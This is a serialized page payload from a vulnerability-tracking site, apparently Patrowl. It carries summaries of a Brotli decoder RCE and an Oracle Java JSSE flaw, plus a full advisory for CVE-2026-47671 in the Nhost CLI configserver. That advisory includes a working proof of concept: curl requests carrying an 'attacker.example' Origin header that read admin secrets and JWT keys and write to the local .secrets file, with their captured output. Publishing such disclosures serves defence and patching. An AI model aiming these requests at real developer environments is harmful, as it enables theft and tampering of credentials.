[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-47671":30,"landing-articles":85},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":47,"cwes":48,"cpes":50,"technologies":53,"references":56,"score":62,"epss_score":63,"epss_percentile":64,"is_kev":65,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":66,"attack_mappings":76,"exploits":83},359022,"CVE-2026-47671","EUVD-2026-46393","Nhost CLI local configserver allows cross-origin unauthenticated read\u002Fwrite access to local development configuration and secrets\n\n### Summary\n\nThe hidden `nhost configserver` used by `nhost dev` exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local `.secrets` file.\n\nThis impacts developers using `nhost dev`: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.\n\n### Details\n\nThe CLI registers a hidden `configserver` command in `cli\u002Fmain.go:39` and `cli\u002Fmain.go:41`. That command is used as the local development configserver image in `nhost dev`: `cli\u002Fcmd\u002Fdev\u002Fup.go:176` through `cli\u002Fcmd\u002Fdev\u002Fup.go:200` select `nhost\u002Fcli:\u003Cversion>` as the configserver image, and `cli\u002Fdockercompose\u002Fconfigserver.go:80` through `cli\u002Fdockercompose\u002Fconfigserver.go:84` run it with the `configserver` command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at `cli\u002Fdockercompose\u002Fcompose.go:347` through `cli\u002Fdockercompose\u002Fcompose.go:358`.\n\nThe configserver intentionally loads the local project files into Mimir's GraphQL resolver in `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:143` through `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:156`. However, the authorization directives passed to `graph.SetupRouter` are no-ops:\n\n- `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:83` through `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:89` define `dummyMiddleware`, which calls the next resolver without checking app visibility.\n- `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:91` through `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:98` define `dummyMiddleware2`, which calls the next resolver without checking roles.\n- `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:161` through `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go:170` pass those dummy directive handlers and `cors.Default()` to the GraphQL router.\n\nThe default `rs\u002Fcors` configuration allows all origins when no `AllowedOrigins` are specified: `vendor\u002Fgithub.com\u002Frs\u002Fcors\u002Fcors.go:163` through `vendor\u002Fgithub.com\u002Frs\u002Fcors\u002Fcors.go:167`, and `vendor\u002Fgithub.com\u002Frs\u002Fcors\u002Fcors.go:248` through `vendor\u002Fgithub.com\u002Frs\u002Fcors\u002Fcors.go:249` show `Default()` uses `Options{}`. A browser preflight from an arbitrary origin receives `Access-Control-Allow-Origin: *`.\n\nThe exposed GraphQL schema includes sensitive queries and mutations:\n\n- `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fschema\u002Fschema.graphqls:41` through `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fschema\u002Fschema.graphqls:57` expose `configRawJSON`, `config`, and `appSecrets` by app ID. `appSecrets` is protected only by `@hasAppVisibility`, which the configserver replaces with the no-op `dummyMiddleware`.\n- `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fschema\u002Fschema.graphqls:117` through `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fschema\u002Fschema.graphqls:128` expose `insertSecret`, `updateSecret`, and `deleteSecret`, also protected only by the no-op `@hasAppVisibility` directive.\n- `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fgraph\u002Fq_app_secrets.go:10` through `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fgraph\u002Fq_app_secrets.go:30` return the app's secrets.\n- `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fgraph\u002Fq_config_raw_json.go:12` returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.\n- `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fgraph\u002Fm_insert_secret.go:11` through `vendor\u002Fgithub.com\u002Fnhost\u002Fbe\u002Fservices\u002Fmimir\u002Fgraph\u002Fm_insert_secret.go:47` append attacker-supplied secrets and call plugin `UpdateSecrets`.\n- `cli\u002Fcmd\u002Fconfigserver\u002Flocal.go:164` through `cli\u002Fcmd\u002Fconfigserver\u002Flocal.go:175` marshal the new secrets and write them to the configured local secrets file with `os.WriteFile`.\n\nBecause the local configserver uses a fixed zero UUID app ID for the local app (`cli\u002Fcmd\u002Fconfigserver\u002Flocal.go:134`) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.\n\nCandidate score: 14\u002F14.\n\n- Reachability: 2 — reachable in the documented local development path using `nhost dev` and directly through the hidden `configserver` command.\n- Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.\n- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network\u002Fbrowser reachability to the developer's local configserver.\n- Sink impact: 2 — sensitive secret read and local secrets file write.\n- Mitigation weakness: 2 — role\u002Fapp-visibility directives are replaced with no-op handlers, and CORS permits all origins.\n- Default exposure: 2 — enabled by the common local development setup.\n- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.\n\n### PoC\n\nThe following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.\n\n1. Start a configserver instance against temporary local files:\n\n\n```sh\ntmpdir=$(mktemp -d)\nconfig=\"$tmpdir\u002Fnhost.toml\"\nsecrets=\"$tmpdir\u002F.secrets\"\n\ncat > \"$config\" \u003C\u003C'EOF'\n[hasura]\nadminSecret = 'local-test-admin-secret'\nwebhookSecret = 'local-test-webhook-secret'\n\n[[hasura.jwtSecrets]]\ntype = 'HS256'\nkey = 'local-test-jwt-secret'\n\n[observability]\n[observability.grafana]\nadminPassword = 'local-test-grafana-password'\nEOF\n\ncat > \"$secrets\" \u003C\u003C'EOF'\nlocalProofSecret = 'LOCAL_PROOF_SECRET_VALUE'\nEOF\n\nport=18088\ngo run .\u002Fcli configserver \\\n  --bind \"127.0.0.1:$port\" \\\n  --storage-local-config-path \"$config\" \\\n  --storage-local-secrets-path \"$secrets\"\n```\n\n\n\n2. From another shell, show that a browser-style preflight from an arbitrary origin is accepted:\n\n\n```sh\ncurl -sS -i -X OPTIONS \\\n  -H 'Origin: https:\u002F\u002Fattacker.example' \\\n  -H 'Access-Control-Request-Method: POST' \\\n  -H 'Access-Control-Request-Headers: content-type' \\\n  \"http:\u002F\u002F127.0.0.1:18088\u002Fv1\u002Fconfigserver\u002Fgraphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP\u002F1.1 204 No Content\nAccess-Control-Allow-Headers: content-type\nAccess-Control-Allow-Methods: POST\nAccess-Control-Allow-Origin: *\nVary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers\n```\n\n\n\n3. Read local development secrets without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https:\u002F\u002Fattacker.example' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"query\":\"query { appSecrets(appID: \\\"00000000-0000-0000-0000-000000000000\\\") { name value } }\"}' \\\n  \"http:\u002F\u002F127.0.0.1:18088\u002Fv1\u002Fconfigserver\u002Fgraphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"appSecrets\":[{\"name\":\"localProofSecret\",\"value\":\"LOCAL_PROOF_SECRET_VALUE\"}]}}\n```\n\n\n\n4. Read sensitive local configuration without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https:\u002F\u002Fattacker.example' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"query\":\"query { configRawJSON(appID: \\\"00000000-0000-0000-0000-000000000000\\\", resolve: false) }\"}' \\\n  \"http:\u002F\u002F127.0.0.1:18088\u002Fv1\u002Fconfigserver\u002Fgraphql\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"configRawJSON\":\"{\\\"hasura\\\":{\\\"adminSecret\\\":\\\"local-test-admin-secret\\\",\\\"jwtSecrets\\\":[{\\\"key\\\":\\\"local-test-jwt-secret\\\",\\\"type\\\":\\\"HS256\\\"}],\\\"webhookSecret\\\":\\\"local-test-webhook-secret\\\"},\\\"observability\\\":{\\\"grafana\\\":{\\\"adminPassword\\\":\\\"local-test-grafana-password\\\"}}}\"}}\n```\n\n\n\n5. Mutate the local `.secrets` file without any authentication:\n\n\n```sh\ncurl -sS -i \\\n  -H 'Origin: https:\u002F\u002Fattacker.example' \\\n  -H 'Content-Type: application\u002Fjson' \\\n  --data '{\"query\":\"mutation { insertSecret(appID: \\\"00000000-0000-0000-0000-000000000000\\\", secret: { name: \\\"INJECTED_BY_UNAUTHENTICATED_REQUEST\\\", value: \\\"SAFE_LOCAL_MARKER\\\" }) { name value } }\"}' \\\n  \"http:\u002F\u002F127.0.0.1:18088\u002Fv1\u002Fconfigserver\u002Fgraphql\"\n\ngrep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' \"$secrets\"\n```\n\n\n\nObserved proof output in this environment:\n\n\n```text\nHTTP\u002F1.1 200 OK\nAccess-Control-Allow-Origin: *\n{\"data\":{\"insertSecret\":{\"name\":\"INJECTED_BY_UNAUTHENTICATED_REQUEST\",\"value\":\"SAFE_LOCAL_MARKER\"}}}\nINJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'\n```\n\n\n\n6. Cleanup:\n\n\n```sh\n# Stop the configserver process, then remove the disposable fixture directory.\nrm -rf \"$tmpdir\"\n```\n\n\n### Impact\n\nAn attacker who can cause a developer to visit a web page while `nhost dev` is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in `.secrets`. The attacker can also mutate the local `.secrets` file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.\n\nThis is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.\n\n### Remediation\n\nAddressed in [nhost\u002Fnhost#4302](https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost\u002Fpull\u002F4302) with three layered controls:\n\n- **CORS restricted to the dashboard origin.** `cors.Default()` in `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver.go` is replaced by `corsMiddleware()`, which uses an `AllowOriginFunc` driven by `dashboardOriginRe = ^https?:\u002F\u002F([^.\u002F]+\\.dashboard\\.local\\.nhost\\.run|local\\.dashboard\\.nhost\\.run)(:\\d+)?$`. Arbitrary origins receive no `Access-Control-Allow-*` headers and are rejected by browsers. The allowlist is locked in by `cli\u002Fcmd\u002Fconfigserver\u002Fconfigserver_test.go`.\n- **Unguessable per-project app ID.** The fixed zero UUID is replaced by a UUIDv4 generated on first `nhost dev`, persisted to `.nhost\u002Fapp_id` (mode `0600`) by `cli\u002Fclienv\u002Fappid.go`, and threaded via `NHOST_APP_ID` into the configserver container and `NEXT_PUBLIC_NHOST_APP_ID` into the dashboard. The configserver `serve` action validates the value with `uuid.Parse` at startup. Queries against any other app ID resolve to no app.\n- **In-memory secret redaction with reconciling writes.** `cli\u002Fcmd\u002Fconfigserver\u002Flocal.go` adds `loadSecretsRedacted`, which substitutes every secret value with `\u003Cplaceholder-from-local-configserver-substituted-for-real-secret>` before secrets enter the graph store, so `appSecrets` and any other read path return placeholders. `UpdateSecrets` reconciles incoming mutations against the on-disk `.secrets` file — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage in `cli\u002Fcmd\u002Fconfigserver\u002Flocal_test.go`.","2026-06-04T17:43:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":44,"userInteraction":45,"attackComplexity":44,"availabilityImpact":46,"privilegesRequired":46,"confidentialityImpact":44},"UNCHANGED","3.1",5.4,"NETWORK","MEDIUM","CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:L\u002FI:L\u002FA:N","LOW","REQUIRED","NONE",true,[49],"CWE-306",[51,52],"cpe:2.3:a:nhost:nhost:*:*:*:*:*:*:*:*","cpe:2.3:a:nhost:cli:*:*:*:*:*:*:*:*",[54,55],"Nhost Nhost","Nhost Cli",[57,58,59,60,61],"https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost\u002Fsecurity\u002Fadvisories\u002FGHSA-64cj-qvx5-m4f3","https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost\u002Fpull\u002F4302","https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost\u002Fcommit\u002Fe407511627d2c2c1137a70e9ca1ca31095d23479","https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost","https:\u002F\u002Fgithub.com\u002Fnhost\u002Fnhost\u002Freleases\u002Ftag\u002Fcli@1.46.0",0.62,0.00354,0.28842,false,{"timestamp":67,"automatable":68,"tech_impact":69,"exploitation":70,"cisa_decision":71,"cisa_remediation_timeline":75},"2026-07-22T15:44:01.232311Z","no","partial","poc",{"vector":72,"decision":73,"priority":74},"CISAv1\u002FE:P\u002FA:N\u002FT:P\u002FM:H\u002F2026-10-26T03:36:11.616491\u002F","track_star","medium","60D",[77],{"name":78,"source":79,"tactics":80,"technique_id":82},"Exploit Public-Facing Application","attack_vector",[81],"initial-access","T1190",[84],{"link":57},{"count":86,"next":87,"previous":6,"results":88},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[89,97,105],{"id":90,"title":91,"summary":92,"published_at":93,"type":94,"link":95,"image_url":96},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":98,"title":99,"summary":100,"published_at":101,"type":102,"link":103,"image_url":104},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":106,"title":107,"summary":108,"published_at":109,"type":110,"link":111,"image_url":112},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]